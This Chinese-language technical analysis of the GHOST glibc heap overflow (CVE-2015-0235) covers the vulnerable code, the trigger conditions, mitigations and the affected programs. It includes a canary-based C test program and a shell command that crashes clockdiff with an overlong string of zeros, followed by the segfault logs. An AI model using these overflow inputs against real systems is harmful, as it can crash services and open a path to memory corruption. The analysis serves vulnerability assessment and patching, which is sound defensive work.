1 据Qualys公司审核发现GUN C库(glibc)中存在一个__nss_hostname_digits_dots的缓冲区溢出漏洞,信息来源
http://www.openwall.com/lists/oss-security/2015/01/27/9; http://ma.ttias.be/critical-glibc-update-cve-2015-0235-gethostbyname-calls/ :
==1== summary
__nss_hostname_digits_dots()导致的缓冲区溢出漏洞,这个bug可以通过gethostbynames*()函数来触发。在本地和远程均可以触发bug。
分析过程如下:
— 通过gethostbyname()or gethostbyname2(),缓冲区溢出将发生在堆(heap)上,通过gethostbyname_r()or gethostbyname2_4()触发调用者提供(caller-supplied)的缓冲区
溢出(调用者提供的缓冲区可以位于heap,stack,.data,.bss.etc,但实际操作中还未发现这样的情况)
— 漏洞产生时多个sizeof(char *)bytes被重写(注意 char*指针的大小,4bytes on32-bit系统上,8 bytes on 64-bit系统上)
。字节会被重写只有在(’0’…’9’),(‘.’),(‘\0’)
–尽管有这些限制,但我们可以随意的执行代码。作为概念的证明,我们开发了针对Exima邮件服务器的full-fledged远程执行脚本,发现可以旁路绕过所有现有的保护(ASLR,PIE,NX),
在32-bit or 64-bit机器上。
— 第一个容易被攻击的版本为GNU C库的glibc-2.2版本。
— 针对这些bug的研究,发现该漏洞在2013/5/21就已经在glib-2.17-glibc2.18版本之间被修复,但不幸的是,当时并没有被认为是一个安全威胁存在。受影响版本可能为:
RHEL (Red Hat Enterprise Linux) version 5.x, 6.x and 7.x CentOS Linux version 5.x, 6.x & 7.x Ubuntu Linux version 10.04, 12.04 LTS Debian Linux version 7.x Linux Mint version 13.0 Fedora Linux version 19 or older SUSE Linux Enterprise 11 and older (also OpenSuse Linux 11 or older versions). Arch Linux glibc version <= 2.18-1
==2== Analysis:
存在漏洞的__nss_hostname_digits_dots()是有glibc的不可重入的nss/getXXbyYY.c以及可重入的nss/getXXbyYY_r.c调用。而这个调用由ifdef HANDLE_DIGITS_DOTS来定义的。该定义分
布在以下几个文件中
- inet/gethstbynm.c - inet/gethstbynm2.c - inet/gethstbynm_r.c - inet/gethstbynm2_r.c - nscd/gethstbynm3_r.c
以上的文件是实现gethostbyname*() family。因此也只有他们会调用reach __nss_hostname_digits_dots(),并触发缓冲区溢出。该函数作用是如果主机名的参数是IPv4 or IPv6的地址,
则不需要有DNS来解析
glibc-2.17的code
35 int 36 __nss_hostname_digits_dots (const char *name, struct hostent *resbuf, 37 char **buffer, size_t *buffer_size, 38 size_t buflen, struct hostent **result, 39 enum nss_status *status, int af, int *h_errnop) 40 { .. 57 if (isdigit (name[0]) || isxdigit (name[0]) || name[0] == ':') 58 { 59 const char *cp; 60 char *hostname; 61 typedef unsigned char host_addr_t[16]; 62 host_addr_t *host_addr; 63 typedef char *host_addr_list_t[2]; 64 host_addr_list_t *h_addr_ptrs; 65 char **h_alias_ptr; 66 size_t size_needed; .. 85 size_needed = (sizeof (*host_addr) 86 + sizeof (*h_addr_ptrs) + strlen (name) + 1); 87 88 if (buffer_size == NULL) 89 { 90 if (buflen < size_needed) 91 { .. 95 goto done; 96 } 97 } 98 else if (buffer_size != NULL && *buffer_size < size_needed) 99 { 100 char *new_buf; 101 *buffer_size = size_needed; 102 new_buf = (char *) realloc (*buffer, *buffer_size); 103 104 if (new_buf == NULL) 105 { ... 114 goto done; 115 } 116 *buffer = new_buf; 117 } ... 121 host_addr = (host_addr_t *) *buffer; 122 h_addr_ptrs = (host_addr_list_t *) 123 ((char *) host_addr + sizeof (*host_addr)); 124 h_alias_ptr = (char **) ((char *) h_addr_ptrs + sizeof (*h_addr_ptrs)); 125 hostname = (char *) h_alias_ptr + sizeof (*h_alias_ptr); 126 127 if (isdigit (name[0])) 128 { 129 for (cp = name;; ++cp) 130 { 131 if (*cp == '\0') 132 { 133 int ok; 134 135 if (*--cp == '.') 136 break; ... 142 if (af == AF_INET) 143 ok = __inet_aton (name, (struct in_addr *) host_addr); 144 else 145 { 146 assert (af == AF_INET6); 147 ok = inet_pton (af, name, host_addr) > 0; 148 } 149 if (! ok) 150 { ... 154 goto done; 155 } 156 157 resbuf->h_name = strcpy (hostname, name); ... 194 goto done; 195 } 196 197 if (!isdigit (*cp) && *cp != '.') 198 break; 199 } 200 } ...
86-87行所计算的缓冲区大小size_needed,需要存储3个不同的实体:host_addr,h_addr_pts,name(hostname)
88-117行确定缓冲区足够大
88-97行对应函数的重入case
98-117为非重入case
121-125准备缓冲区指针来存放4个不同实体:host_addr,h_addr_ptrs,h_alias_ptr,hostname。 (*h_alias_ptr)的字符指针的大小被size_need所漏掉。
157行的strcpy函数,是让我们写过缓冲区的末尾,最多(依赖strlen(name)和字符对其)4 bytes on32-bit,or 8 bytes on 64-bit。
有个相似的strcpy的函数,但没有缓冲区溢出
236 size_needed = (sizeof (*host_addr) 237 + sizeof (*h_addr_ptrs) + strlen (name) + 1); ... 267 host_addr = (host_addr_t *) *buffer; 268 h_addr_ptrs = (host_addr_list_t *) 269 ((char *) host_addr + sizeof (*host_addr)); 270 hostname = (char *) h_addr_ptrs + sizeof (*h_addr_ptrs); ... 289 resbuf->h_name = strcpy (hostname, name);
为了达到157行的缓冲区溢出,主机名参数必须符合以下条件:
– line 127行的 第一个字符是数字
– line 135行的 最后一个字符不能是’.’
– line 197行的 要只能包含数字和’.’
– 必须可以分配最够大的缓冲区,如非重入的gethostbyname* ()初始化分配malloc(1024)的大小
– line 143行,IPv4的地址被inet_aton函数正确解析,or line 147 ipv6 被inet_pton()
inet_pton中的”:”是被禁止的,也不能带有数字和点的地址解析成ipv6地址,所以inet_aton是唯一的选择,且主机名必须是下列形式之一:”a.b.c.d”,”a.b.c”,”a.b”or “a”。a,b,c,d是
无符号证书,最大是0xffffffful。并可以有strtoul转成十进制的。
==3== Mitigating factors
该影响现在显著减少了,
1 在2013/5/21发表的补丁显示:
[BZ #15014]
* nss/getXXbyYY_r.c (INTERNAL (REENTRANT_NAME))
[HANDLE_DIGITS_DOTS]: Set any_service when digits-dots parsing was
successful.
* nss/digits_dots.c (__nss_hostname_digits_dots): Remove
redundant variable declarations and reallocation of buffer when
parsing as IPv6 address. Always set NSS status when called from
reentrant functions. Use NETDB_INTERNAL instead of TRY_AGAIN when
buffer too small. Correct computation of needed size.当缓冲区太小时使用NETDB_INTERNAL而不是TRY_AGAIN
* nss/Makefile (tests): Add test-digits-dots.
* nss/test-digits-dots.c: New test.
2.gethostbyname*()函数被getaddrinfo() 代替,因为IPv6的到来
3.许多程序,特别是suid文件可以访问本地时,仅当使用inet_aton()调用失败时调用gethostbyname()
4 大多数其他程序,尤其是可远程(ssh)访问服务器时,会使用gethostbyname来逆向查找DNS。这个程序通常是安全的,因为传递到gethostbyname的主机名通常被DNS软件预先检测了。
每个lable最多只有63个8-bit octets,由点分隔,最多攻击有255个octets,,这使得其长度不能满足1kB要求
实际上,glibc的DNS解析器可以产生高达(最多)1025字符的主机名(如bit-string lable,特殊和非打印字符)但这些会一如”\\”,这样就造成不能满足”只有数字和点”的要求
==4== Case studies
cat > GHOST.c << EOF #include <netdb.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #define CANARY "in_the_coal_mine" struct { char buffer[1024]; char canary[sizeof(CANARY)]; } temp = { "buffer", CANARY }; int main(void) { struct hostent resbuf; struct hostent *result; int herrno; int retval; /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/ size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1; char name[sizeof(temp.buffer)]; memset(name, '0', len); name[len] = '\0'; retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno); if (strcmp(temp.canary, CANARY) != 0) { puts("vulnerable"); exit(EXIT_SUCCESS); } if (retval == ERANGE) { puts("not vulnerable"); exit(EXIT_SUCCESS); } puts("should not happen"); exit(EXIT_FAILURE); } EOF
测试:
[root@localhost ~]# ./CVE-2015-0235 vulnerable [root@localhost ~]# ldd --version ldd (GNU libc) 2.17 Copyright (C) 2012 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 由 Roland McGrath 和 Ulrich Drepper 编写。
==5== glibc使用时的案例
1 glibc-2.13/sysdeps/posix/getaddrinfo.c:
调用是安全的,安照”inet-aton”要求,是安全的。仅当第一次调用inet_aton()失败时,getaddrinfo()会调用gethostbyname2_r()
at->family = AF_UNSPEC; ... if (__inet_aton (name, (struct in_addr *) at->addr) != 0) { if (req->ai_family == AF_UNSPEC || req->ai_family == AF_INET) at->family = AF_INET; else if (req->ai_family == AF_INET6 && (req->ai_flags & AI_V4MAPPED)) { ... at->family = AF_INET6; } else return -EAI_ADDRFAMILY; ... } ... if (at->family == AF_UNSPEC && (req->ai_flags & AI_NUMERICHOST) == 0) { ... size_t tmpbuflen = 512; char *tmpbuf = alloca (tmpbuflen); ... rc = __gethostbyname2_r (name, family, &th, tmpbuf, tmpbuflen, &h, &herrno); ... }
2 mount.nfs
调用是安全的,安照”inet-aton”要求,是安全的。仅当第一次调用inet_aton()失败时,getaddrinfo()会调用gethostbyname2_r()
if (inet_aton(hostname, &addr->sin_addr)) return 0; if ((hp = gethostbyname(hostname)) == NULL) { nfs_error(_("%s: can't get address for %s\n"), progname, hostname); return -1; }
3 mtr
调用是安全的,调用了getaddrinfo
mtr (another SUID-root binary) is not vulnerable either, because it calls getaddrinfo() instead of gethostbyname*() functions on any modern (ie, IPv6-enabled) system: #ifdef ENABLE_IPV6 /* gethostbyname2() is deprecated so we'll use getaddrinfo() instead. */ ... error = getaddrinfo( Hostname, NULL, &hints, &res ); if ( error ) { if (error == EAI_SYSTEM) perror ("Failed to resolve host"); else fprintf (stderr, "Failed to resolve host: %s\n", gai_strerror(error)); exit( EXIT_FAILURE ); } ... #else host = gethostbyname(Hostname); if (host == NULL) { herror("mtr gethostbyname"); exit(1); } ... #endif
4 iputils-clockdiff
是有弱点的
hp = gethostbyname(argv[1]); if (hp == NULL) { fprintf(stderr, "clockdiff: %s: host not found\n", argv[1]); exit(1); }
[root@localhost ~]# /usr/sbin/clockdiff `python -c "print '0' * $((0x10000-16*1-2*4-1-4))"` 段错误(吐核) [root@localhost ~]# /usr/sbin/clockdiff `python -c "print '0' * $((0x20000-16*1-2*4-1-4))"` 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 rtt=750 (187)ms/0ms delta=0ms/0ms Thu Jan 29 11:27:31 2015 [768663.493694] clockdiff[3469]: segfault at 7f197d2b73c8 ip 00007f197bc85c3f sp 00007fffaec04150 error 6 in libc-2.17.so[7f197bc07000+1b6000] [768688.402063] clockdiff[3477]: segfault at 7f74c4da73c8 ip 00007f74c3950c3f sp 00007ffff97cd000 error 6 in libc-2.17.so[7f74c38d2000+1b6000] [768663.493694] clockdiff[3469]: segfault at 7f197d2b73c8 ip 00007f197bc85c3f sp 00007fffaec04150 error 6 in libc-2.17.so[7f197bc07000+1b6000] [768688.402063] clockdiff[3477]: segfault at 7f74c4da73c8 ip 00007f74c3950c3f sp 00007ffff97cd000 error 6 in libc-2.17.so[7f74c38d2000+1b6000]
5 ping arping
ping 、arping 在inet_aton()失败时调用 gethostbyname() 和 gethostbyname2()。
if (inet_aton(target, &whereto.sin_addr) == 1) { ... } else { char *idn; #ifdef USE_IDN int rc; ... rc = idna_to_ascii_lz(target, &idn, 0); if (rc != IDNA_SUCCESS) { fprintf(stderr, "ping: IDN encoding failed: %s\n", idna_strerror(rc)); exit(2); } #else idn = target; #endif hp = gethostbyname(idn); arping if (inet_aton(target, &dst) != 1) { struct hostent *hp; char *idn = target; #ifdef USE_IDN int rc; rc = idna_to_ascii_lz(target, &idn, 0); if (rc != IDNA_SUCCESS) { fprintf(stderr, "arping: IDN encoding failed: %s\n", idna_strerror(rc)); exit(2); } #endif hp = gethostbyname2(idn, AF_INET);
== 6 == 系统中那些服务和应用涉及到glibc
可以使用以下命令查询
[root@localhost ~]# lsof |grep libc |awk '{print $1}' |sort |uniq abrtd abrt-watc atd auditd avahi-dae awk bash ***************** chronyd crond dbus-daem dnsmasq ***************** firewalld gdbus gmain grep in:imjour iprdump iprinit iprupdate irqbalanc JS ksmtuned libvirtd login lsmd lsof lvmetad master named ***************** NetworkMa polkitd python qmgr rpcbind rpc.statd rs:main rsyslogd runaway-k sleep smartd sort ssh sshd ***************** systemd systemd-j systemd-l systemd-u tuned uniq wpa_suppl
以上显示bash dnsmasq named sshd 可能涉及到gethostbyname影响